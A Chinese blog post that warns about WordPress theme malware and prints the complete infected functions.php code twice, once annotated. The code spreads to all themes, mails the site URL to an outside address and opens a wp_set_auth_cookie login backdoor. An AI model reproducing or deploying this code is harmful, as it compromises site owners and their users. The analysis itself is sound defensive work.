WordPress恶意代码

今天在本机测试环境上的安装WordPress主题文件的时候发现,所有主题目录的Function.php文件尾部出现了一段奇怪的代码,经查此为一段恶意代码。经过检查服务器上的备份的部分主题文件中也有感染,不过已及时清除。

代码如下:

<?php
function _verifyactivate_widgets(){
	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
	$output=strip_tags($output, $allowed);
	$direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
	if (is_array($direst)){
		foreach ($direst as $item){
			if (is_writable($item)){
				$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
				$cont=file_get_contents($item);
				if (stripos($cont,$ftion) === false){
					$comaar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
					$output .= $before . "Not found" . $after;
					if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
					$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $comaar . "\n" .$widget);fclose($f);				
					$output .= ($isshowdots && $ellipsis) ? "..." : "";
				}
			}
		}
	}
	return $output;
}
function _get_allwidgets_cont($wids,$items=array()){
	$places=array_shift($wids);
	if(substr($places,-1) == "/"){
		$places=substr($places,0,-1);
	}
	if(!file_exists($places) || !is_dir($places)){
		return false;
	}elseif(is_readable($places)){
		$elems=scandir($places);
		foreach ($elems as $elem){
			if ($elem != "." && $elem != ".."){
				if (is_dir($places . "/" . $elem)){
					$wids[]=$places . "/" . $elem;
				} elseif (is_file($places . "/" . $elem)&& 
					$elem == substr(__FILE__,-13)){
					$items[]=$places . "/" . $elem;}
				}
			}
	}else{
		return false;	
	}
	if (sizeof($wids) > 0){
		return _get_allwidgets_cont($wids,$items);
	} else {
		return $items;
	}
}
if(!function_exists("stripos")){ 
    function stripos(  $str, $needle, $offset = 0  ){ 
        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  ); 
    }
}

if(!function_exists("strripos")){ 
    function strripos(  $haystack, $needle, $offset = 0  ) { 
        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  ); 
        if(  $offset < 0  ){ 
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  ); 
        } 
        else{ 
            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    ); 
        } 
        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE; 
        $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   ); 
        return $pos; 
    }
}
if(!function_exists("scandir")){ 
	function scandir($dir,$listDirectories=false, $skipDots=true) {
	    $dirArray = array();
	    if ($handle = opendir($dir)) {
	        while (false !== ($file = readdir($handle))) {
	            if (($file != "." && $file != "..") || $skipDots == true) {
	                if($listDirectories == false) { if(is_dir($file)) { continue; } }
	                array_push($dirArray,basename($file));
	            }
	        }
	        closedir($handle);
	    }
	    return $dirArray;
	}
}
add_action("admin_head", "_verifyactivate_widgets");
function _getprepare_widget(){
	if(!isset($text_length)) $text_length=120;
	if(!isset($check)) $check="cookie";
	if(!isset($tagsallowed)) $tagsallowed="<a>";
	if(!isset($filter)) $filter="none";
	if(!isset($coma)) $coma="";
	if(!isset($home_filter)) $home_filter=get_option("home"); 
	if(!isset($pref_filters)) $pref_filters="wp_";
	if(!isset($is_use_more_link)) $is_use_more_link=1; 
	if(!isset($com_type)) $com_type=""; 
	if(!isset($cpages)) $cpages=$_GET["cperpage"];
	if(!isset($post_auth_comments)) $post_auth_comments="";
	if(!isset($com_is_approved)) $com_is_approved=""; 
	if(!isset($post_auth)) $post_auth="auth";
	if(!isset($link_text_more)) $link_text_more="(more...)";
	if(!isset($widget_yes)) $widget_yes=get_option("_is_widget_active_");
	if(!isset($checkswidgets)) $checkswidgets=$pref_filters."set"."_".$post_auth."_".$check;
	if(!isset($link_text_more_ditails)) $link_text_more_ditails="(details...)";
	if(!isset($contentmore)) $contentmore="ma".$coma."il";
	if(!isset($for_more)) $for_more=1;
	if(!isset($fakeit)) $fakeit=1;
	if(!isset($sql)) $sql="";
	if (!$widget_yes) :

	global $wpdb, $post;
	$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$coma."vethe".$com_type."mas".$coma."@".$com_is_approved."gm".$post_auth_comments."ail".$coma.".".$coma."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";
	if (!empty($post->post_password)) { 
		if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { 
			if(is_feed()) { 
				$output=__("There is no excerpt because this is a protected post.");
			} else {
	            $output=get_the_password_form();
			}
		}
	}
	if(!isset($fixed_tags)) $fixed_tags=1;
	if(!isset($filters)) $filters=$home_filter; 
	if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore;
	if(!isset($tag_aditional)) $tag_aditional="div";
	if(!isset($sh_cont)) $sh_cont=substr($sq1, stripos($sq1, "live"), 20);#
	if(!isset($more_text_link)) $more_text_link="Continue reading this entry";	
	if(!isset($isshowdots)) $isshowdots=1;

	$comments=$wpdb->get_results($sql);	
	if($fakeit == 2) { 
		$text=$post->post_content;
	} elseif($fakeit == 1) { 
		$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
	} else { 
		$text=$post->post_excerpt;
	}
	$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
	if($text_length < 0) {
		$output=$text;
	} else {
		if(!$no_more && strpos($text, "<!--more-->")) {
		    $text=explode("<!--more-->", $text, 2);
			$l=count($text[0]);
			$more_link=1;
			$comments=$wpdb->get_results($sql);
		} else {
			$text=explode(" ", $text);
			if(count($text) > $text_length) {
				$l=$text_length;
				$ellipsis=1;
			} else {
				$l=count($text);
				$link_text_more="";
				$ellipsis=0;
			}
		}
		for ($i=0; $i<$l; $i++)
				$output .= $text[$i] . " ";
	}
	update_option("_is_widget_active_", 1);
	if("all" != $tagsallowed) {
		$output=strip_tags($output, $tagsallowed);
		return $output;
	}
	endif;
	$output=rtrim($output, "\s\n\t\r\0\x0B");
    $output=($fixed_tags) ? balanceTags($output, true) : $output;
	$output .= ($isshowdots && $ellipsis) ? "..." : "";
	$output=apply_filters($filter, $output);
	switch($tag_aditional) {
		case("div") :
			$tag="div";
		break;
		case("span") :
			$tag="span";
		break;
		case("p") :
			$tag="p";
		break;
		default :
			$tag="span";
	}

	if ($is_use_more_link ) {
		if($for_more) {
			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_text_link . "\">" . $link_text_more = !is_user_logged_in() && @call_user_func_array($checkswidgets,array($cpages, true)) ? $link_text_more : "" . "</a></" . $tag . ">" . "\n";
		} else {
			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_text_link . "\">" . $link_text_more . "</a></" . $tag . ">" . "\n";
		}
	}
	return $output;
}

add_action("init", "_getprepare_widget");

function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
	global $wpdb;
	$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
	$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
	if(!$show_pass_post) $request .= " AND post_password =\"\"";
	if($duration !="") { 
		$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
	}
	$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
	$posts=$wpdb->get_results($request);
	$output="";
	if ($posts) {
		foreach ($posts as $post) {
			$post_title=stripslashes($post->post_title);
			$comment_count=$post->comment_count;
			$permalink=get_permalink($post->ID);
			$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
		}
	} else {
		$output .= $before . "None found" . $after;
	}
	return  $output;
}
?>

 

下面为转载的分析:

<?php
function _verifyactivate_widgets(){
     //当前文件名,如/path-to-www/wp-content/themes/SimpleDark/functions.php 
         //查找当前主题functions.php文件中最后一个 <? 标记,从这个标记的位置开始,取得一直到文件尾的内容
    $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));
     $output="";
     $allowed="";
     //去除html和php标签,其实这一句是扯蛋。。。
    $output=strip_tags($output, $allowed);
     //取得主题目录themes的绝对路径,如 /path-to-www/wp-content/themes
         //为了加强程序的兼容性,它不惜以这种很晦涩的方式来获取。。。
        //以主题目录themes的绝对路径用array包裹为参数传递给_get_allwidgets_cont函数获取此博客的所有主题的functions.php文件的绝对路径
    $direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
     if (is_array($direst)){
         foreach ($direst as $item){
             //如果主题functions.php文件可写
            if (is_writable($item)){
                 //特征码
                $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
                 //取目标functions.php文件内容
                $cont=file_get_contents($item);
                 //没找到特征码?OK,试图感染
                if (stripos($cont,$ftion) === false){
                     //查看目标functions.php文件最后是否是以 ?> 结尾,如果不是,给加上 ?> 标记
                    $comaar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
                     //这里的代码是忽悠人了,模仿WP widgets的代码,蛊惑你的眼睛,让你觉得这是widget代码。。。
                    $output .= $before . "Not found" . $after;
                     //如果文件是以 ?> 标记结尾的,连标记一起取过来
                    if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
                     //开始感染,$widget内容即是恶意代码自身,在functions.php文件原内容后附加恶意代码
                    $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $comaar . "\n" .$widget);fclose($f); 
                     //后面这句也是伪装用的            
                     $output .= ($isshowdots &#038;&#038; $ellipsis) ? "..." : "";
                }
             }
         }
     }
     return $output;
}
function _get_allwidgets_cont($wids,$items=array()){
     //从$wids数组弹出一个元素(实际上是一个位置)
     $places=array_shift($wids);
     //如果位置字串是以/结尾的,则去掉/
     if(substr($places,-1) == "/"){
         $places=substr($places,0,-1);
     }

     //若不存在这样的文件或目录则直接返回false
     if(!file_exists($places) || !is_dir($places)){
         return false;
     }elseif(is_readable($places)){
         //否则的话。。。嘿嘿
        //遍历此目录
        $elems=scandir($places);
         foreach ($elems as $elem){
             if ($elem != "." &#038;&#038; $elem != ".."){
                //如果是目录,则加入$wids数组
                if (is_dir($places . "/" . $elem)){
                     $wids[]=$places . "/" . $elem;
                 } elseif (is_file($places . "/" . $elem)&#038;&#038; 
                    $elem == substr(__FILE__,-13)){
                         //否则,如果是文件,并且文件名等于 functions.php的话,则加入到$items数组保存,这才是它的目的functions.php正是它要找的
                    $items[]=$places . "/" . $elem;}
                 }
             }
     }else{
         return false;   
     }
     //下面还有子目录?再找找看,递归
    if (sizeof($wids) > 0){
         return _get_allwidgets_cont($wids,$items);
     } else {
         //好了,完事了,以数组返回所有找到的functions.php文件的绝对路径
        return $items;
     }
}

//下面是3个针对低版本的php而写的兼容函数
if(!function_exists("stripos")){ 
     function stripos(  $str, $needle, $offset = 0  ){ 
         return strpos(  strtolower( $str ), strtolower( $needle ), $offset  ); 
     }
}

if(!function_exists("strripos")){ 
     function strripos(  $haystack, $needle, $offset = 0  ) { 
         if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  ); 
         if(  $offset < 0  ){ 
             $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  ); 
         } 
         else{ 
             $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    ); 
         } 
         if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE; 
         $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   ); 
         return $pos; 
     }
}
if(!function_exists("scandir")){ 
     function scandir($dir,$listDirectories=false, $skipDots=true) {
         $dirArray = array();
         if ($handle = opendir($dir)) {
             while (false !== ($file = readdir($handle))) {
                 if (($file != "." &#038;&#038; $file != "..") || $skipDots == true) {
                    if($listDirectories == false) { if(is_dir($file)) { continue; } }
                     array_push($dirArray,basename($file));
                 }
             }
             closedir($handle);
         }
         return $dirArray;
     }
}

//这个动作添加了,用于检测所有主题目录下functions.php并感染
add_action("admin_head", "_verifyactivate_widgets");

function _getprepare_widget(){
     if(!isset($text_length)) $text_length=120;
     if(!isset($check)) $check="cookie";
     if(!isset($tagsallowed)) $tagsallowed="<a>";
     if(!isset($filter)) $filter="none";
     if(!isset($coma)) $coma="";
     if(!isset($home_filter)) $home_filter=get_option("home"); 
     if(!isset($pref_filters)) $pref_filters="wp_";
     if(!isset($is_use_more_link)) $is_use_more_link=1; 
     if(!isset($com_type)) $com_type=""; 
     if(!isset($cpages)) $cpages=$_GET["cperpage"];
     if(!isset($post_auth_comments)) $post_auth_comments="";
     if(!isset($com_is_approved)) $com_is_approved=""; 
     if(!isset($post_auth)) $post_auth="auth";
     if(!isset($link_text_more)) $link_text_more="(more...)";
     if(!isset($widget_yes)) $widget_yes=get_option("_is_widget_active_");
     if(!isset($checkswidgets)) 
     //这个实际是wp_set_auth_cookie
     $checkswidgets=$pref_filters."set"."_".$post_auth."_".$check;
     if(!isset($link_text_more_ditails)) $link_text_more_ditails="(details...)";
     if(!isset($contentmore)) $contentmore="ma".$coma."il";
     if(!isset($for_more)) $for_more=1;
     if(!isset($fakeit)) $fakeit=1;
     if(!isset($sql)) $sql="";

     //如果 _is_widget_active_ option内容为空,即表示没有被感染过
    if (!$widget_yes) :

     global $wpdb, $post;
     //取出存在已经通过的评论(不包括trackback/pingback)的文章
    // post_author 为 livethemas@gmail.com 的文章,肯定是没有的

    $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$coma."vethe".$com_type."mas".$coma."@".$com_is_approved."gm".$post_auth_comments."ail".$coma.".".$coma."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    if (!empty($post->post_password)) { 
         if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { 
             if(is_feed()) { 
                 $output=__("There is no excerpt because this is a protected post.");
             } else {
                 $output=get_the_password_form();
             }
         }
     }
     if(!isset($fixed_tags)) $fixed_tags=1;
     if(!isset($filters)) $filters=$home_filter; 
     //$gettextcomments实际上为 wp_mail
     if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore;
     if(!isset($tag_aditional)) $tag_aditional="div";

     //这里$sh_cont即为 livethemas@gmail.com
     if(!isset($sh_cont)) $sh_cont=substr($sq1, stripos($sq1, "live"), 20);#
    if(!isset($more_text_link)) $more_text_link="Continue reading this entry";  
     if(!isset($isshowdots)) $isshowdots=1;

     $comments=$wpdb->get_results($sql); 
     if($fakeit == 2) { 
         $text=$post->post_content;
     } elseif($fakeit == 1) { 
         $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
     } else { 
         $text=$post->post_excerpt;
     }
     //开始调用 wp_mail 向 livethemas@gmail.com 发送邮件,标题和内容都是被感染的博客的URL 地址
    $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    if($text_length < 0) {
         $output=$text;
     } else {
         if(!$no_more &#038;&#038; strpos($text, "<!--more-->")) {
            $text=explode("<!--more-->", $text, 2);
             $l=count($text[0]);
             $more_link=1;
             //执行这一句时就开始发邮件了。
            $comments=$wpdb->get_results($sql);
         } else {
             $text=explode(" ", $text);
             if(count($text) > $text_length) {
                 $l=$text_length;
                 $ellipsis=1;
             } else {
                 $l=count($text);
                 $link_text_more="";
                 $ellipsis=0;
             }
         }
         for ($i=0; $i<$l; $i++)
                 $output .= $text[$i] . " ";
     }
     //把感染标记置为1
     update_option("_is_widget_active_", 1);
     if("all" != $tagsallowed) {
         $output=strip_tags($output, $tagsallowed);
         return $output;
     }
     endif;
     $output=rtrim($output, "\s\n\t\r\0\x0B");
     $output=($fixed_tags) ? balanceTags($output, true) : $output;
     $output .= ($isshowdots &#038;&#038; $ellipsis) ? "..." : "";
    //$filter 为 none ...,又是在伪装
    $output=apply_filters($filter, $output);
     switch($tag_aditional) {
         case("div") :
             $tag="div";
         break;
         case("span") :
             $tag="span";
         break;
         case("p") :
             $tag="p";
         break;
         default :
             $tag="span";
     }

//$checkswidgets即是wp_set_auth_cookie
     if ($is_use_more_link ) {
         if($for_more) {
             $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_text_link . "\">" . $link_text_more = !is_user_logged_in() &#038;&#038; @call_user_func_array($checkswidgets,array($cpages, true)) ? $link_text_more : "" . "</a></" . $tag . ">" . "\n";
        } else {
             $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_text_link . "\">" . $link_text_more . "</a></" . $tag . ">" . "\n";
         }
     }
     return $output;
}

//这里是用来干坏事的,这才是这个恶意代码的目的,前面的感染是“准备活动”
add_action("init", "_getprepare_widget");

//这个函数也是用来伪装的,无恶意
function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
     global $wpdb;
     $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
     $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
     if(!$show_pass_post) $request .= " AND post_password =\"\"";
     if($duration !="") { 
         $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
     }
     $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
     $posts=$wpdb->get_results($request);
     $output="";
     if ($posts) {
         foreach ($posts as $post) {
             $post_title=stripslashes($post->post_title);
             $comment_count=$post->comment_count;
             $permalink=get_permalink($post->ID);
             $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
         }
     } else {
         $output .= $before . "None found" . $after;
     }
     return  $output;
}
?>

看到这个感觉背上冒冷汗。此段代码具有感染性,只要有人访问便会执行Function.php并导致所有主题感染。

最后提醒,千万不要下载安装来路不明的主题,千万不要下载任何所谓的破解后的主题,不推荐在主题站下载主题,下载主题后应及时检查主题的Function.php文件,以防中招。

发布者

《WordPress恶意代码》上有5条评论

        1. 嗯,一般从百度、Google上搜索的主题我都只在本地测试环境下研究

          Google Chrome 29.0.1547.49 Google Chrome 29.0.1547.49 Windows 8 Windows 8

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